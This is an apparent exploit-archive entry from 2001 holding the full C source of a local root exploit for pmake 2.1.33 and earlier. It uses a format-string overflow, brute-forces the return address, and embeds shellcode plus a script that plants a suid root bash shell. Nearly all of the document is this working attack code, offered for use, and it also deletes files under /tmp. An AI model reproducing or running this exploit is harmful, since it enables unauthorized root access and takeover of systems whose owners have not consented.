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pmexpl.c

pmexpl.c
Posted Dec 28, 2001
Authored by IhaQueR@IRCnet

Pmake <= 2.1.33 local root exploit. Some distributions have pmake suid root by default.

tags | exploit, local, root
SHA-256 | 2b080511384ae8e213adb366947433c6146e524aa2bfafbf50c32312f1454f8f

pmexpl.c

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/****************************************************************
* *
* Pmake <= 2.1.33 local root exploit *
* coded by IhaQueR@IRCnet *
* compile with gcc -pmexpl-c -o pm *
* meet me at HAL '2001 *
* *
****************************************************************/





#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>



// some definitions
#define TARGET "/usr/bin/pmake"
#define MKFILE "Makefile"
#define MKMSH "./mkmsh"
#define TMPLEN 256
#define USERSTACK 0xc0000000u
#define NN "\E[m"
#define GR "\E[32m"
#define RD "\E[31m"
#define BL "\E[34m"
#define BD "\E[1m"
#define FL "\E[5m"
#define UL "\E[4m"


extern char **environ;

static const char *banner = "\n"
BL"*****************************************\n"
"*\t\t\t\t\t*\n"
"*\tpmake local root exploit\t*\n"
"*\tby "FL"IhaQueR@IRCnet"NN BL" '2001\t\t*\n"
"*\t\t\t\t\t*\n"
"*****************************************\n"
"\n"NN;

static const char *usage = "\n"
UL"USAGE:"NN " %s\t-w <wlen delta, try -32,...,32>\n"
"\t\t-s <shell addr>\n"
"\t\t-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake
2.1.33>\n"
"\t\t-m <attempts>\n"
"\t\t-p <%%g preload>\n"
"\n";

static const char *mkfile = "all:\n\t-echo blah\n\n.SHELL : path=/bin/sh
echo=\"\" quiet=\"\" hasErrCtl=no check=";

// setresuid(0,0,0) shellcode
static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\xa4\xcd\x80"
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";

// our suid shell maker
static char mkmsh[] = "#!/bin/bash\n"
"cat <<__DUPA__>sush.c\n"
"#include <stdio.h>\n"
"#include <unistd.h>\n"
"main() {setuid(geteuid()); execl(\"/bin/bash\", \"/bin/bash\",
NULL);}\n"
"__DUPA__\n"
"gcc sush.c -o sush >/dev/null 2>&1\n"
"chown 0.0 sush\n"
"chmod u+s sush\n";

static char *fromenv[] = { "TERM",
"HOME",
"PATH"
};

#define numenv (sizeof(fromenv)/sizeof(char*)+2)

static char *myenv[numenv];
static char eb[numenv][TMPLEN];

int cn=0;


void child_kill(int v)
{
cn--;
}


int do_fork()
{
cn++;
return fork();
}


int main(int ac, char** av)
{
int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
unsigned char *ptr;
char buf[16384];
char buf2[16384];
char aaaa[1024*32];
char head[64];
struct stat sb;
fd_set rs;


// setup defaults
// shell address is calculated from user stack location and the big nop
buffer...should work :-/
shadr = USERSTACK - sizeof(aaaa)/2;
wadr = 0xbfff73b0;
mx = 512;
gprel=150;
wdel=0;

setpgrp();
setsid();

printf(banner);

// parse options
if(ac!=1) {
res = getopt(ac, av, "hw:s:a:m:p:");
while(res!=-1) {
switch(res) {
case 'w' :
wdel = atoi(optarg);
break;

case 's' :
sscanf(optarg, "%x", &shadr);
break;

case 'a' :
sscanf(optarg, "%x", &wadr);
break;

case 'm' :
sscanf(optarg, "%d", &mx);
break;

case 'p' :
sscanf(optarg, "%d", &gprel);
if(gprel==0)
gprel=1;
break;

case 'h' :
default :
printf(usage, av[0]);
exit(0);
break;
}
res = getopt(ac, av, "hw:s:a:m:p:");
}
}


// phase 1 : setup
printf("\n\n"BD BL"* PHASE 1\n"NN);

// prepare environ
printf("\n\tpreparing new environment");
memset(aaaa, 'A', sizeof(aaaa));
aaaa[4]='=';
up=(unsigned*)(aaaa+5);
for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
up[i]=0x41424344;
aaaa[sizeof(aaaa)-1]=0;
len1=strlen(aaaa);

// buffer overflow :-)
myenv[0]=aaaa;
for(i=1; i<numenv-1; i++) {
myenv[i]=eb[i-1];
strcpy(eb[i-1], fromenv[i-1]);
if(!strchr(fromenv[i-1], '=')) {
strcat(eb[i-1], "=");
strcat(eb[i-1], getenv(fromenv[i-1]));
}
}
myenv[numenv-1]=NULL;

// clean
printf("\n\tcleaning");
unlink("LOCK.make");
unlink("sush");
unlink("sush.c");
unlink("mkmsh");
system("rm -rf /tmp/make* >/dev/null 2>&1");

// our suid shell
printf("\n\tpreparing shell script");
mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
if(mk<0)
perror("open"), exit(1);
write(mk, mkmsh, strlen(mkmsh));
close(mk);

// comm pipe
printf("\n\tallocating pipe");
res = pipe(pd);
if(res<0)
perror("pipe"), exit(2);

// redirect stdin/out
printf("\n\tstdout/in preparation");
res = dup2(pd[1], 2);
if(res<0)
perror("dup2"), exit(3);

fd = open("/dev/null", O_RDWR);
if(fd<0)
perror("open"), exit(4);

// our makefile
printf("\n\tgenerating Makefile");
mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
if(mk<0)
perror("open"), exit(5);
write(mk, mkfile, strlen(mkfile));
for(i=0; i<gprel; i++)
write(mk, "%g", 2);
fsync(mk);

// child killer
printf("\n\tfinished setup");
if(signal(SIGCHLD, &child_kill)==SIG_ERR)
perror("signal"), exit(6);


// phase 2 : dig format string
printf("\n\n\n" BD BL "* PHASE 2\n"NN);
printf("\n\tdigging magic string:\t");

cnt=0;
while(1) {

lseek(mk, -2, SEEK_CUR);
write(mk, "%g%x", 4);
fsync(mk);
usleep(1);

pid = do_fork();

// get child output
if(pid) {
printf("%4d ", cnt);
fflush(stdout);

do {
bzero(buf, sizeof(buf));
res = read(pd[0], buf, sizeof(buf)-1);
if(res > 128) {
break;
}
} while(1);
kill(SIGTERM, pid);
usleep(1);
waitpid(pid, NULL, WUNTRACED);
bzero(buf2, sizeof(buf2));
read(pd[0], buf2, sizeof(buf2)-1);
if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
read(pd[0], buf2, sizeof(buf2)-1);

// look for padding
pad=-1;
if(strstr(buf, "41424344")) {
pad=0;
}
else if(strstr(buf, "42434441")) {
pad=1;
}
else if(strstr(buf, "43444142")) {
pad=2;
}
else if(strstr(buf, "44414243")) {
pad=3;
}

// if got the mark parse output for final string
if(pad!=-1) {
printf("\n\tfound mark, parsing output");
ptr = strtok(buf, "\t\n ");
while(ptr) {
if(strlen(ptr)>64)
break;
ptr = strtok(NULL, "\t\n ");
}

// calculate write length -6, -8 hm I'm dunno about the 16?
wlen=strlen(ptr)+wdel-16;
printf("\n\tFOUND magic string with pading=%d output length=%d",
pad, wlen);


// PHASE 3 : find write pos in aaaa
printf("\n\n\n" BD BL "* PHASE 3\n"NN);

printf("\n\tlooking for write position: ");

up=(unsigned*)(aaaa+5-pad);
cnt=0;

for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
old=up[i];
up[i]=0xabcdef67;
printf("%4d ", i);
sprintf(head, "%x", up[i]);
fflush(stdout);

if(cn)
read(pd[0], buf2, sizeof(buf2)-1);
pid = do_fork();
if(pid) {
do {
bzero(buf, sizeof(buf));
FD_ZERO(&rs);
FD_SET(pd[0], &rs);
select(pd[0]+1, &rs, NULL, NULL, NULL);
res = read(pd[0], buf, sizeof(buf)-1);
if(res > 128) {
break;
}
} while(1);
kill(SIGTERM, pid);
usleep(1);
read(pd[0], buf2, sizeof(buf2)-1);

// up[i] is now the place for the beginning of our address field
if(strstr(buf, head)) {
printf(" * FOUND *");
fflush(stdout);
up[i]=old;
idx=i;
printf("\n\tFOUND write position at index=%d", i);
up[i]=old;
ptr = strtok(buf, "\t\n ");
while(ptr) {
if(strlen(ptr)>64)
break;
ptr = strtok(NULL, "\t\n ");
}

// construct write 'head':
printf("\n\tcreating final makefile");
fflush(stdout);
lseek(mk, -2, SEEK_CUR);

ptr = (unsigned char*)&shadr;
for(j=0; j<4; j++) {
flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
wlen = wlen + flip;
sprintf(head+j*8, "%%%04dx%%n", flip);
}
head[32] = 0;
write(mk, head, strlen(head));

// brute force RET on the stack upon success
printf("\n\tcreating shell in the environment");

// create env shell
ptr = (unsigned char*)&(up[i+2*10]);
while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
*ptr=0x90;
ptr++;
}

strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
strlen(hellcode));
aaaa[sizeof(aaaa)-1]=0;
if(len1!=strlen(aaaa)) {
printf(BD RD"\nERROR: len changed!\n"NN);
exit(7);
}

// phase 4: brute force
printf("\n\n\n"BD BL"* PHASE 4\n"NN);
printf("\n\tbrute force RET:\t");
fflush(stdout);
cnt=0;

while(cnt<mx) {

for(j=0; j<4; j++) {
up[idx+2*j] = wadr + j%4;
up[idx+2*j+1] = wadr + j%4;
}

pid = do_fork();
if(pid) {
printf(" 0x%.8x", wadr);
fflush(stdout);
waitpid(pid, NULL, WUNTRACED);
res = stat("sush", &sb);
if(!res && sb.st_uid==0) {
printf(BD GR"\n\nParadox, created suid shell at
%s/sush\n\n"NN, getcwd(buf, sizeof(buf)-1));
system("rm -rf /tmp/make* >/dev/null 2>&1");
exit(0);
}
}
else {
res = dup2(fd, 1);
if(res<0)
perror("dup2"), exit(8);
res = dup2(fd, 2);
if(res<0)
perror("dup2"), exit(9);

execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
_exit(10);
}
if(cnt%8==7)
printf("\n\t\t\t\t");
cnt++;
wadr += 4;
}
// failure
printf(BD RD"\nFAILED :-("NN);
system("rm -rf /tmp/make* >/dev/null 2>&1");
exit(11);
}
}
else {
res = dup2(fd, 1);
if(res<0)
perror("dup2"), exit(12);
execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
exit(13);
}
up[i]=old;
waitpid(pid, NULL, WUNTRACED);
}

printf(BD RD"\n\tstrange error, write pos not found!\n"NN);
system("rm -rf /tmp/make* >/dev/null 2>&1");
exit(14);

ptr = strtok(buf, "\n");
while(ptr) {
printf("\nLINE [%s]", ptr);
ptr = strtok(NULL, "\n");
}

exit(15);
}

// start target and read output
}
else {
res = dup2(fd, 1);
if(res<0)
perror("dup2"), exit(16);
execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
exit(17);
}

if(cnt%8==7)
printf("\n\t\t\t\t");
cnt++;
}

printf(BD RD"\nFAILED\n"NN);
system("rm -rf /tmp/make* >/dev/null 2>&1");

return 0;
}
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